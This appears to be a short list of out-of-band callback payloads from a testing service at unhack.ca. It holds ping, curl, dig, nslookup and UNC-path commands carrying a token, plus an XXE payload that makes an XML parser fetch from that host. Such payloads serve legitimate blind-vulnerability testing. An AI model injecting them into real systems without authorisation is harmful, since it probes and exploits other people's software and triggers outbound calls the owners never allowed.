$ ping -c1 -p 0050e3b02550003588ea0b30cc53ef00 unhack.ca
 

$ curl http://unhack.ca/p/50e3b02550003588ea0b30cc53ef
 

$ dig 50e3b02550003588ea0b30cc53ef @unhack.ca
 

$ dig 50e3b02550003588ea0b30cc53ef.ns.unhack.ca
 

C:\> nslookup 50e3b02550003588ea0b30cc53ef unhack.ca
 

C:\> type \\unhack.ca\50e3b02550003588ea0b30cc53ef\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/50e3b02550003588ea0b30cc53ef">]>
    <foo>&xxe;</foo>